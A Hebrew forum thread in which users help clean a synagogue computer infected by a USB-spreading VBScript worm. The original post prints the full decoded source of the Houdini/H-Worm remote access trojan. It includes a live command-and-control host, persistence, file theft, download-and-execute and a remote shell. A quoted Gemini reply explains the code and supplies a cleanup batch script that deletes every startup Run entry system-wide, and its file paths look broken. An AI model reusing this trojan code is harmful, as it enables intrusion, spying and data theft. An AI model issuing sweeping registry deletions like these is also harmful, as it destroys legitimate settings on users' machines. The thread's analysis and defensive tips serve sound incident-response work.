דילוג לתוכן
  • חוקי הפורום
  • פופולרי
  • לא נפתר
  • משתמשים
  • חיפוש גוגל בפורום
  • צור קשר
עיצובים
  • Light
  • Brite
  • Cerulean
  • Cosmo
  • Flatly
  • Journal
  • Litera
  • Lumen
  • Lux
  • Materia
  • Minty
  • Morph
  • Pulse
  • Sandstone
  • Simplex
  • Sketchy
  • Spacelab
  • United
  • Yeti
  • Zephyr
  • Dark
  • Cyborg
  • Darkly
  • Quartz
  • Slate
  • Solar
  • Superhero
  • Vapor

  • ברירת מחדל (ללא עיצוב (ברירת מחדל))
  • ללא עיצוב (ברירת מחדל)
כיווץ
מתמחים טופ
  1. דף הבית
  2. מחשבים וטכנולוגיה
  3. עזרה הדדית - מחשבים וטכנולוגיה
  4. בקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי

בקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי

מתוזמן נעוץ נעול הועבר עזרה הדדית - מחשבים וטכנולוגיה
43 פוסטים 13 כותבים 472 צפיות 11 עוקבים
  • מהישן לחדש
  • מהחדש לישן
  • הכי הרבה הצבעות
תגובה
  • תגובה כנושא
התחברו כדי לפרסם תגובה
נושא זה נמחק. רק משתמשים עם הרשאות מתאימות יוכלו לצפות בו.
  • מתכנת חובבמ מתכנת חובב

    @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

    האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

    היא עלולה לבצע דברים - החל מהחרגות ועד לזיהום של קבצי מערכת שימנעו זיהוי עתידי שלה

    ר מנותק
    ר מנותק
    רנדומלי
    כתב נערך לאחרונה על ידי
    #20

    @מתכנת-חובב
    השאלה היא אם הקוד הנוכחי אכן עושה זאת.
    כי המחשב הזה לא היה מחובר לרשת מאז שהוא נדבק, ועל כן לא סביר שתוקף הריץ קוד נוסף שלא גלוי לנו.

    @תלמידהון
    כנראה שלא. אבל השאלה היא אם זה שווה את המאמץ או שבעוד שבועיים זה יקרה שוב.

    ת מתכנת חובבמ 2 תגובות תגובה אחרונה
    0
    • ר רנדומלי

      @מתכנת-חובב
      השאלה היא אם הקוד הנוכחי אכן עושה זאת.
      כי המחשב הזה לא היה מחובר לרשת מאז שהוא נדבק, ועל כן לא סביר שתוקף הריץ קוד נוסף שלא גלוי לנו.

      @תלמידהון
      כנראה שלא. אבל השאלה היא אם זה שווה את המאמץ או שבעוד שבועיים זה יקרה שוב.

      ת מנותק
      ת מנותק
      תלמידהון
      כתב נערך לאחרונה על ידי
      #21

      @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

      השאלה היא אם זה שווה את המאמץ או שבעוד שבועיים זה יקרה שוב.

      אם יש לך אנטי וירוס מעודכן זה לא אמור לחזור

      תגובה 1 תגובה אחרונה
      1
      • ר רנדומלי

        @מתכנת-חובב
        השאלה היא אם הקוד הנוכחי אכן עושה זאת.
        כי המחשב הזה לא היה מחובר לרשת מאז שהוא נדבק, ועל כן לא סביר שתוקף הריץ קוד נוסף שלא גלוי לנו.

        @תלמידהון
        כנראה שלא. אבל השאלה היא אם זה שווה את המאמץ או שבעוד שבועיים זה יקרה שוב.

        מתכנת חובבמ מנותק
        מתכנת חובבמ מנותק
        מתכנת חובב
        מדריכים
        כתב נערך לאחרונה על ידי מתכנת חובב
        #22

        @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

        השאלה היא אם הקוד הנוכחי אכן עושה זאת.

        בזה ספציפית לא אבל כמובן שאם המחשב היה מחובר לאינטרנט אז אין לדעת
        לכאורה סריקה עם אנטי וירוס טוב ועיקור של הוירוס יספיקו
        תריץ את מה ששלחתי לך וזה יסיר אותו ואולי באמת להבא תשבית את wscript אבל לא יודע מה זה עלול לשבש במחשב הזה (קצת מוזר שהאנטי וירוס לא עלה על זה אם ב VT הוא כן מזהה אותו)

        צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

        ר תגובה 1 תגובה אחרונה
        0
        • מתכנת חובבמ מתכנת חובב

          @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

          השאלה היא אם הקוד הנוכחי אכן עושה זאת.

          בזה ספציפית לא אבל כמובן שאם המחשב היה מחובר לאינטרנט אז אין לדעת
          לכאורה סריקה עם אנטי וירוס טוב ועיקור של הוירוס יספיקו
          תריץ את מה ששלחתי לך וזה יסיר אותו ואולי באמת להבא תשבית את wscript אבל לא יודע מה זה עלול לשבש במחשב הזה (קצת מוזר שהאנטי וירוס לא עלה על זה אם ב VT הוא כן מזהה אותו)

          ר מנותק
          ר מנותק
          רנדומלי
          כתב נערך לאחרונה על ידי
          #23

          @מתכנת-חובב
          תהיה מוכן להסביר לי איך אני מכבה VBS?

          זה אכן יועיל לווירוס הספציפי הזה, אבל מה אם יבוא מחר ווירוס שמבוסס על CMD או PowerShell, או סתם EXE?

          מתכנת חובבמ תגובה 1 תגובה אחרונה
          0
          • ר רנדומלי

            @מתכנת-חובב
            תהיה מוכן להסביר לי איך אני מכבה VBS?

            זה אכן יועיל לווירוס הספציפי הזה, אבל מה אם יבוא מחר ווירוס שמבוסס על CMD או PowerShell, או סתם EXE?

            מתכנת חובבמ מנותק
            מתכנת חובבמ מנותק
            מתכנת חובב
            מדריכים
            כתב נערך לאחרונה על ידי
            #24

            @רנדומלי תריץ את זה כמנהל

            reg add "HKLM\Software\Microsoft\Windows Script Host\Settings" /v Enabled /t REG_DWORD /d 0 /f
            

            צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

            תגובה 1 תגובה אחרונה
            2
            • ר רנדומלי

              בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

              cmd /c hrxxryydxo.vbs && start explorer [file name]
              

              הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

              לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

              תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

              לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

              z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
              

              בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
              לאחר פיענוח הקידוד התקבל הקוד הבא:
              אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

              e
              '<[ recoder : houdini (c) skype : houdini-fx ]>
              
              '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
              
              host = "khattab.no-ip.biz"
              port = 5550
              installdir = "%temp%"
              lnkfile = true
              lnkfolder = true
              
              '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
              
              dim shellobj 
              set shellobj = wscript.createobject("wscript.shell")
              dim filesystemobj
              set filesystemobj = createobject("scripting.filesystemobject")
              dim httpobj
              set httpobj = createobject("msxml2.xmlhttp")
              
              '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
              
              installname = wscript.scriptname
              startup = shellobj.specialfolders ("startup") & "\"
              installdir = shellobj.expandenvironmentstrings(installdir) & "\"
              if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
              spliter = "<" & "|" & ">"
              sleep = 5000 
              dim response
              dim cmd
              dim param
              info = ""
              usbspreading = ""
              startdate = ""
              dim oneonce
              
              '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
              on error resume next
              
              instance
              while true
              
              install
              
              response = ""
              response = post ("is-ready","")
              cmd = split (response,spliter)
              select case cmd (0)
              case "excecute"
                    param = cmd (1)
                    execute param
              case "update"
                    param = cmd (1)
                    oneonce.close
                    set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
                    oneonce.write param
                    oneonce.close
                    shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
                    wscript.quit 
              case "uninstall"
                    uninstall
              case "send"
                    download cmd (1),cmd (2)
              case "site-send"
                    sitedownloader cmd (1),cmd (2)
              case "recv"
                    param = cmd (1)
                    upload (param)
              case  "enum-driver"
                    post "is-enum-driver",enumdriver  
              case  "enum-faf"
                    param = cmd (1)
                    post "is-enum-faf",enumfaf (param)
              case  "enum-process"
                    post "is-enum-process",enumprocess   
              case  "cmd-shell"
                    param = cmd (1)
                    post "is-cmd-shell",cmdshell (param)  
              case  "delete"
                    param = cmd (1)
                    deletefaf (param) 
              case  "exit-process"
                    param = cmd (1)
                    exitprocess (param) 
              case  "sleep"
                    param = cmd (1)
                    sleep = eval (param)        
              end select
              
              wscript.sleep sleep
              
              wend
              
              sub install
              on error resume next
              dim lnkobj
              dim filename
              dim foldername
              dim fileicon
              dim foldericon
              
              upstart
              for each drive in filesystemobj.drives
              
              if  drive.isready = true then
              if  drive.freespace  > 0 then
              if  drive.drivetype  = 1 then
                  filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
                  if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                      filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
                  end if
                  for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                      if not lnkfile then exit for
                      if  instr (file.name,".") then
                          if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                              file.attributes = 2+4
                              if  ucase (file.name) <> ucase (installname) then
                                  filename = split(file.name,".")
                                  set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                                  lnkobj.windowstyle = 7
                                  lnkobj.targetpath = "cmd.exe"
                                  lnkobj.workingdirectory = ""
                                  lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                  fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                                  if  instr (fileicon,",") = 0 then
                                      lnkobj.iconlocation = file.path
                                  else 
                                      lnkobj.iconlocation = fileicon
                                  end if
                                  lnkobj.save()
                              end if
                          end if
                      end if
                  next
                  for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                      if not lnkfolder then exit for
                      folder.attributes = 2+4
                      foldername = folder.name
                      set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                      lnkobj.windowstyle = 7
                      lnkobj.targetpath = "cmd.exe"
                      lnkobj.workingdirectory = ""
                      lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                      foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                      if  instr (foldericon,",") = 0 then
                          lnkobj.iconlocation = folder.path
                      else 
                          lnkobj.iconlocation = foldericon
                      end if
                      lnkobj.save()
                  next
              end If
              end If
              end if
              next
              err.clear
              end sub
              
              sub uninstall
              on error resume next
              dim filename
              dim foldername
              
              shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
              shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
              filesystemobj.deletefile startup & installname ,true
              filesystemobj.deletefile wscript.scriptfullname ,true
              
              for  each drive in filesystemobj.drives
              if  drive.isready = true then
              if  drive.freespace  > 0 then
              if  drive.drivetype  = 1 then
                  for  each file in filesystemobj.getfolder ( drive.path & "\").files
                       on error resume next
                       if  instr (file.name,".") then
                           if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                               file.attributes = 0
                               if  ucase (file.name) <> ucase (installname) then
                                   filename = split(file.name,".")
                                   filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                               else
                                   filesystemobj.deletefile (drive.path & "\" & file.name)
                               end If
                           else
                               filesystemobj.deletefile (file.path) 
                           end if
                       end if
                   next
                   for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                       folder.attributes = 0
                   next
              end if
              end if
              end if
              next
              wscript.quit
              end sub
              
              function post (cmd ,param)
              
              post = param
              httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
              httpobj.setrequestheader "user-agent:",information
              httpobj.send param
              post = httpobj.responsetext
              end function
              
              function information
              on error resume next
              if  inf = "" then
                  inf = hwid & spliter 
                  inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
                  inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
              
                  set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                  set os = root.execquery ("select * from win32_operatingsystem")
                  for each osinfo in os
                     inf = inf & osinfo.caption & spliter  
                     exit for
                  next
                  inf = inf & "plus" & spliter
                  inf = inf & security & spliter
                  inf = inf & usbspreading
                  information = inf  
              else
                  information = inf
              end if
              end function
              
              sub upstart ()
              on error resume Next
              
              shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
              shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
              filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
              filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
              
              end sub
              
              function hwid
              on error resume next
              
              set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
              set disks = root.execquery ("select * from win32_logicaldisk")
              for each disk in disks
                  if  disk.volumeserialnumber <> "" then
                      hwid = disk.volumeserialnumber
                      exit for
                  end if
              next
              end function
              
              function security 
              on error resume next
              
              security = ""
              
              set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
              set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
              for each objitem in colitems
                  versionstr = split (objitem.version,".")
              next
              versionstr = split (colitems.version,".")
              osversion = versionstr (0) & "."
              for  x = 1 to ubound (versionstr)
                   osversion = osversion &  versionstr (i)
              next
              osversion = eval (osversion)
              if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
              
              set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
              Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
              
              for each objantivirus in colantivirus
                  security  = security  & objantivirus.displayname & " ."
              next
              if security  = "" then security  = "nan-av"
              end function
              
              function instance
              on error resume next
              
              usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
              if usbspreading = "" then
                 if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
                    usbspreading = "true - " & date
                    shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                 else
                    usbspreading = "false - " & date
                    shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
              
                 end if
              end If
              
              
              upstart
              set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
              set installfullnameshort =  filesystemobj.getfile (installdir & installname)
              if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
                  shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
                  wscript.quit 
              end If
              err.clear
              set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
              if  err.number > 0 then wscript.quit
              end function
              
              sub sitedownloader (fileurl,filename)
              
              strlink = fileurl
              strsaveto = installdir & filename
              set objhttpdownload = createobject("msxml2.xmlhttp" )
              objhttpdownload.open "get", strlink, false
              objhttpdownload.send
              
              set objfsodownload = createobject ("scripting.filesystemobject")
              if  objfsodownload.fileexists (strsaveto) then
                  objfsodownload.deletefile (strsaveto)
              end if
               
              if objhttpdownload.status = 200 then
                 dim  objstreamdownload
                 set  objstreamdownload = createobject("adodb.stream")
                 with objstreamdownload
                      .type = 1 
                      .open
                      .write objhttpdownload.responsebody
                      .savetofile strsaveto
                      .close
                 end with
                 set objstreamdownload = nothing
              end if
              if objfsodownload.fileexists(strsaveto) then
                 shellobj.run objfsodownload.getfile (strsaveto).shortpath
              end if 
              end sub
              
              sub download (fileurl,filedir)
              
              if filedir = "" then 
                 filedir = installdir
              end if
              
              strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
              set objhttpdownload = createobject("msxml2.xmlhttp")
              objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
              objhttpdownload.send ""
                   
              set objfsodownload = createobject ("scripting.filesystemobject")
              if  objfsodownload.fileexists (strsaveto) then
                  objfsodownload.deletefile (strsaveto)
              end if
              if  objhttpdownload.status = 200 then
                  dim  objstreamdownload
                  set  objstreamdownload = createobject("adodb.stream")
                  with objstreamdownload 
                       .type = 1 
                       .open
                       .write objhttpdownload.responsebody
                       .savetofile strsaveto
                       .close
                  end with
                  set objstreamdownload  = nothing
              end if
              if objfsodownload.fileexists(strsaveto) then
                 shellobj.run objfsodownload.getfile (strsaveto).shortpath
              end if 
              end sub
              
              function upload (fileurl)
              
              dim  httpobj,objstreamuploade,buffer
              set  objstreamuploade = createobject("adodb.stream")
              with objstreamuploade 
                   .type = 1 
                   .open
                   .loadfromfile fileurl
                   buffer = .read
                   .close
              end with
              set objstreamdownload = nothing
              set httpobj = createobject("msxml2.xmlhttp")
              httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
              httpobj.send buffer
              end function
              
              function enumdriver ()
              
              for  each drive in filesystemobj.drives
              if   drive.isready = true then
                   enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
              end if
              next
              end Function
              
              function enumfaf (enumdir)
              
              enumfaf = enumdir & spliter
              for  each folder in filesystemobj.getfolder (enumdir).subfolders
                   enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
              next
              
              for  each file in filesystemobj.getfolder (enumdir).files
                   enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
              
              next
              end function
              
              function enumprocess ()
              
              on error resume next
              
              set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
              set colitems = objwmiservice.execquery("select * from win32_process",,48)
              
              dim objitem
              for each objitem in colitems
                  enumprocess = enumprocess & objitem.name & "|"
                  enumprocess = enumprocess & objitem.processid & "|"
                  enumprocess = enumprocess & objitem.executablepath & spliter
              next
              end function
              
              sub exitprocess (pid)
              on error resume next
              
              shellobj.run "taskkill /F /T /PID " & pid,7,true
              end sub
              
              sub deletefaf (url)
              on error resume next
              
              filesystemobj.deletefile url
              filesystemobj.deletefolder url
              
              end sub
              
              function cmdshell (cmd)
              
              dim httpobj,oexec,readallfromany
              
              set oexec = shellobj.exec ("%comspec% /c " & cmd)
              if not oexec.stdout.atendofstream then
                 readallfromany = oexec.stdout.readall
              elseif not oexec.stderr.atendofstream then
                 readallfromany = oexec.stderr.readall
              else 
                 readallfromany = ""
              end if
              
              cmdshell = readallfromany
              end function
              
              א מנותק
              א מנותק
              אור אור אור
              כתב נערך לאחרונה על ידי אור אור אור
              #25

              @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

              וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה,

              אני מקווה שזה בסדר. אני מעלה מה ג'מיני כתב לי על ההסבר של הקוד.
              הקוד ששיתפת הוא דוגמה קלאסית לתוכנה זדונית מסוג Remote Access Trojan (RAT) (סוס טרויאני לשליטה מרחוק), המוכרת בקהילת אבטחת המידע בשם "Houdini" או "H-Worm".

              זהו סקריפט הכתוב בשפת VBScript שנועד לאפשר לתוקף לשלוט במחשב מרחוק, לגנוב מידע ולהפיץ את עצמו הלאה. להלן ניתוח של הפעולות העיקריות שהקוד מבצע:

              1. יצירת קשר עם "שרת שליטה ובקרה" (C2)
                בראש הקוד מופיעים המשתנים host ו-port:

              Host: khattab.no-ipbiz

              Port: 5550
              הסקריפט מנסה להתחבר לכתובת הזו כדי לקבל פקודות מהתוקף ולשלוח אליו מידע שנאסף מהמחשב שלך.

              1. איסוף מידע (Reconnaissance)
                הפונקציה information אוספת נתונים רגישים על המחשב ושולחת אותם לתוקף, כולל:

              שם המחשב ושם המשתמש.

              מספר סידורי של הדיסק הקשיח (HWID) כדי לזהות את המחשב הייחודי.

              גרסת מערכת ההפעלה.

              בדיקת אנטי-וירוס: הקוד בודק אילו תוכנות אבטחה מותקנות על המחשב כדי לנסות לעקוף אותן.

              1. מנגנון הפצה (USB Spreading)
                אחד החלקים הבעייתיים ביותר בקוד הוא ה-sub install. הוא סורק את כל הכוננים המחוברים למחשב (במיוחד דיסק-און-קי):

              הוא מעתיק את עצמו לכונן ומסתיר את הקבצים האמיתיים של המשתמש.

              הוא יוצר קיצורי דרך מטעים (LNK files) שנראים כמו התיקיות המקוריות.

              ברגע שמשתמש תמים לוחץ על קיצור הדרך במחשב אחר, הסקריפט מורץ והמחשב החדש נדבק.

              1. יכולות שליטה מרחוק
                הקוד מכיל "תפריט" פקודות (Case Statement) שהתוקף יכול להפעיל מרחוק:

              execute: הרצת קוד VBScript ישירות בזיכרון.

              send/recv: הורדת קבצים מהאינטרנט למחשב שלך או העלאת קבצים פרטיים מהמחשב לתוקף.

              enum-process: צפייה בכל התוכנות שרצות כרגע במחשב.

              cmd-shell: פתיחת "שורת פקודה" (Terminal) שמאפשרת לתוקף להריץ כל פקודת מערכת.

              update/uninstall: עדכון הגרסה של הווירוס או מחיקה שלו כדי להעלים ראיות.

              1. הישרדות במערכת (Persistence)
                הפונקציה upstart דואגת שהסקריפט ירוץ בכל פעם שהמחשב נדלק על ידי רישום שלו ב-Windows Registry (תחת מפתח ה-Run) והעתקה שלו לתיקיית ה-Startup.

              [!CAUTION]
              שורה תחתונה: מדובר בכלי פריצה מסוכן. אם נתקלת בקוד הזה על מחשב מסוים, המשמעות היא שהמחשב ככל הנראה נפרץ והתוקף יכול לראות הכל, לגנוב קבצים ואף להשתמש במצלמה או במקלדת (בהינתן פקודות נוספות).

              cfopuserC תגובה 1 תגובה אחרונה
              0
              • א מנותק
                א מנותק
                אור אור אור
                כתב נערך לאחרונה על ידי אור אור אור
                #26

                וכשכתבתי ו את ההודעה שלך בהתחלה הוא ענה:

                צר לי לשמוע על המצב. זה באמת "בור ברשות הרבים" במובן הטכנולוגי ביותר – מחשבים בבתי כנסת שמשמשים ל"אוצר החכמה" הם יעד קלאסי לווירוס הזה (Houdini), בגלל תחלופת הדיסק-און-קי הגבוהה.

                הסיבה שהאנטי-וירוס מתקשה היא שהווירוס משתמש בכלי מערכת לגיטימיים של ווינדוס (כמו wscript.exe) כדי להריץ סקריפט טקסט פשוט, מה שמאפשר לו לעיתים לחמוק מתחת לרדאר.

                הנה "מפת הדרכים" של המקומות שבהם הוא מתחבא ואיך מנקים אותו מהשורש:

                1. היכן הוא מתחבא? (לפי הקוד שצירפת)
                  הווירוס הזה עקשן כי הוא משכפל את עצמו לכמה מקומות בו-זמנית:

                תיקיית זמניים (Temp): הוא מעתיק את עצמו לתיקיית %temp%.

                תיקיית הפעלה (Startup): הוא שותל שם עותק כדי שיעלה בכל פעם שהמחשב נדלק.

                רישום המערכת (Registry): הוא יוצר מפתח בכתובת HKCU\Software\Microsoft\Windows\CurrentVersion\Run תחת שם שנראה תמים.

                בכונני USB: הוא הופך את התיקיות האמיתיות שלך לנסתרות ויוצר במקומן קיצורי דרך עם אותו שם.

                1. שלבי הניקוי (בצע לפי הסדר)
                  כדי לנצח אותו, צריך קודם כל "להרדים" אותו ורק אז למחוק:

                א. עצירת התהליך
                לחץ על Ctrl + Shift + Esc כדי לפתוח את מנהל המשימות.

                חפש ברשימה תהליך בשם Windows Script Host או wscript.exe.

                לחץ עליו קליק ימני וביצוע "סיום משימה". זה ימנע ממנו לשכפל את עצמו בזמן שאתה מוחק אותו.

                ב. מחיקה מהרישום (Registry)
                לחץ על מקש הלווינדוס + R, הקלד regedit ולחץ Enter.

                נווט לנתיב: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run.

                חפש שם ערך שכתוב בו הנתיב לתיקיית ה-Temp או קובץ שמסתיים ב-.vbs. מחק אותו.

                בדוק גם בנתיב המקביל תחת HKEY_LOCAL_MACHINE.

                ג. מחיקת הקבצים הפיזיים
                פתח את סייר הקבצים והדבק בשורת הכתובת: %temp%. חפש קובץ עם סיומת .vbs (השם יכול להיות אקראי או משהו כמו Houdini) ומחק אותו.

                הדבק בשורת הכתובת: shell:startup. אם יש שם קובץ VBS או קיצור דרך חשוד – מחק אותו.

                1. תיקון הדיסק-און-קי (החזרת הקבצים שנעלמו)
                  אם הקבצים בכונן נראים כמו קיצורי דרך, אל תלחץ עליהם! הם אלו שמדביקים מחדש את המחשב.

                חבר את הכונן הנגוע.

                פתח את "שורת הפקודה" (CMD) כמנהל.

                הקלד את האות של הכונן (למשל :F) ולחץ Enter.

                הקלד את הפקודה הבאה שתבטל את ההסתרה שהווירוס ביצע:
                attrib -h -r -s /s /d .

                כעת תוכל לראות את התיקיות האמיתיות שלך. מחק את כל קבצי ה-LNK (קיצורי הדרך) ואת קובץ ה-VBS שנמצא על הכונן.

                עצה קטנה ל"אוצר החכמה" בבית הכנסת:
                כדי למנוע הישנות, כדאי להתקין תוכנה קטנה וחינמית בשם USB Vaccinator או פשוט לחסום הרצת סקריפטים מסוג VBS במחשב אם אין בהם צורך (דרך ה-Registry).

                האם תרצה שאכתוב עבורך פקודה אחת פשוטה (Batch file) שתבצע את כל הניקוי הזה באופן אוטומטי?

                כן

                כן

                ‫Gemini אמר
                הנה קוד פשוט שיצרתי עבורך. הוא מבצע את כל הפעולות שדיברנו עליהן: סגירת התהליך הזדוני, מחיקת הקבצים מהתיקיות הנסתרות וניקוי הרישום (Registry).

                הוראות ביצוע:
                העתק את הקוד למטה.

                פתח את "פנקס רשימות" (Notepad).

                הדבק את הקוד בתוכו.

                שמור את הקובץ בשם CleanVirus.bat (חשוב מאוד שהסיומת תהיה .bat ולא .txt).

                לחץ על הקובץ ששמרת קליק ימני ובחר "הפעל כמנהל" (Run as Administrator).

                הקוד לניקוי המחשב:
                קטע קוד
                @echo off
                color 0A
                echo Stopping Virus Process...
                taskkill /F /IM wscript.exe /T

                echo.
                echo Deleting Virus Files...
                del /F /Q "%temp%*.vbs"
                del /F /Q "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup*.vbs"

                echo.
                echo Cleaning Registry Keys...
                reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /va /f
                reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /va /f

                echo.
                echo Restoration Complete.
                echo Please check your USB drives separately using the 'attrib' command.
                pause
                מה הקוד הזה עושה בפועל?
                taskkill: מפסיק מיד את המנוע שמריץ את הווירוס (wscript).

                del: מוחק קבצי VBS חשודים מתיקיית הזמניים ומתיקיית ההפעלה האוטומטית.

                reg delete: מנקה את רשימת התוכנות שעולות עם המחשב כדי שהווירוס לא יחזור אחרי הפעלה מחדש.

                [!CAUTION]
